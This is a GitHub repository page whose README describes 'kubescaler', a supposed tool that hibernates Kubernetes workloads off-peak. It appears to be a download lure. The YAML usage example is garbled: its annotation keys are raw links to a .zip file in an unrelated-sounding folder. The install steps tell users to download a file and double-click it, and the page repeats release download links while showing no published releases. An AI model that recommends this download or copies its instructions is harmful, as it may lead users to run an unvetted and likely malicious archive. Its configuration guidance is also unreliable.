Skip to content

πŸš€ Optimize Kubernetes workloads with KubeScaler for smart, time-based scaling, cutting costs during off-peak while ensuring availability during business hours.

License

Notifications You must be signed in to change notification settings

airdrop7137/kubescaler

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ—“οΈ kubescaler - Scale Your Workloads with Ease

Download kubescaler

πŸš€ Getting Started

Welcome to kubescaler! This application helps you scale your Kubernetes workloads efficiently while saving costs. It works automatically, ensuring your applications hibernate during off-peak hours.

πŸ“₯ Download & Install

To get started with kubescaler, visit this page to download: kubescaler Releases. Here, you will find different versions of the application based on your needs. Follow these steps to download and run kubescaler on your machine:

  1. Go to the kubescaler Releases page.
  2. Look for the latest version of kubescaler.
  3. Click on the download link for your operating system.
  4. Once the download completes, locate the file in your downloads folder.
  5. Run the application by double-clicking the file.

πŸ› οΈ System Requirements

Before you install kubescaler, make sure your computer meets these requirements:

  • Operating System: Windows 10 or higher, macOS 10.12 or higher, or any modern Linux distribution.
  • Kubernetes Cluster: You need access to a Kubernetes cluster where you have proper permissions to deploy applications.
  • Memory: At least 2 GB of RAM is recommended.
  • CPU: A modern multi-core processor.

🌟 Features

kubescaler offers several useful features:

  • Automatic Hibernation: It hibernates applications during off-peak hours without any manual actions.
  • Cost Optimization: Save on cloud costs by running applications only when needed.
  • Support for Multiple Workloads: Use kubescaler with Deployments, StatefulSets, HPAs, and CronJobs.
  • State Management: Automatically backs up and restores application states, ensuring no data loss.
  • User-Friendly Interface: Easy-to-use and configure, even for those new to Kubernetes.

βš™οΈ Configuration

To set up kubescaler, follow these steps:

  1. Annotation Setup: In your Kubernetes deployment files, add the necessary annotations for kubescaler. This tells it when to scale your workloads.
  2. Schedule Configuration: Define the schedule for your applications. You can set custom times for when to hibernate and resume your applications.
  3. Deployment: Apply the updated configuration to your Kubernetes cluster by using kubectl apply -f <your-deployment-file>.yaml.

⚑ Usage Example

Here is a simple example of how to use kubescaler:

  1. Create a deployment YAML file for your application.

  2. Add the following annotations to the deployment:

    annotations:
      https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip "true"
      https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip "22:00-06:00"
  3. Apply the changes to your cluster. This setup will hibernate your application from 10 PM to 6 AM.

πŸ“– Documentation

For detailed information about configuration options and advanced features, check the official kubescaler documentation at kubescaler Documentation.

πŸ› οΈ Support

If you encounter issues or need assistance while using kubescaler, please visit our GitHub Issues page. You can report bugs or ask for help from the community there.

🌐 Community

Join our community to share your experiences and get tips about using kubescaler effectively. You can connect with other users and developers on our Discord Channel or follow us on Twitter.

πŸ”„ Updates & Changelog

Stay up-to-date with the latest improvements and features by checking the changelog on our releases page. We regularly update kubescaler with new features and bug fixes, ensuring you have the best experience.

☁️ Contributing

We welcome contributions to kubescaler! If you're interested in helping improve the project, check our Contributing Guide for details on how to get started.

πŸ”— Additional Resources

πŸŽ‰ Acknowledgments

Thank you for using kubescaler! We appreciate your support and hope that our software helps you manage your workloads more efficiently.


Again, you can download kubescaler here: kubescaler Releases.

About

πŸš€ Optimize Kubernetes workloads with KubeScaler for smart, time-based scaling, cutting costs during off-peak while ensuring availability during business hours.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •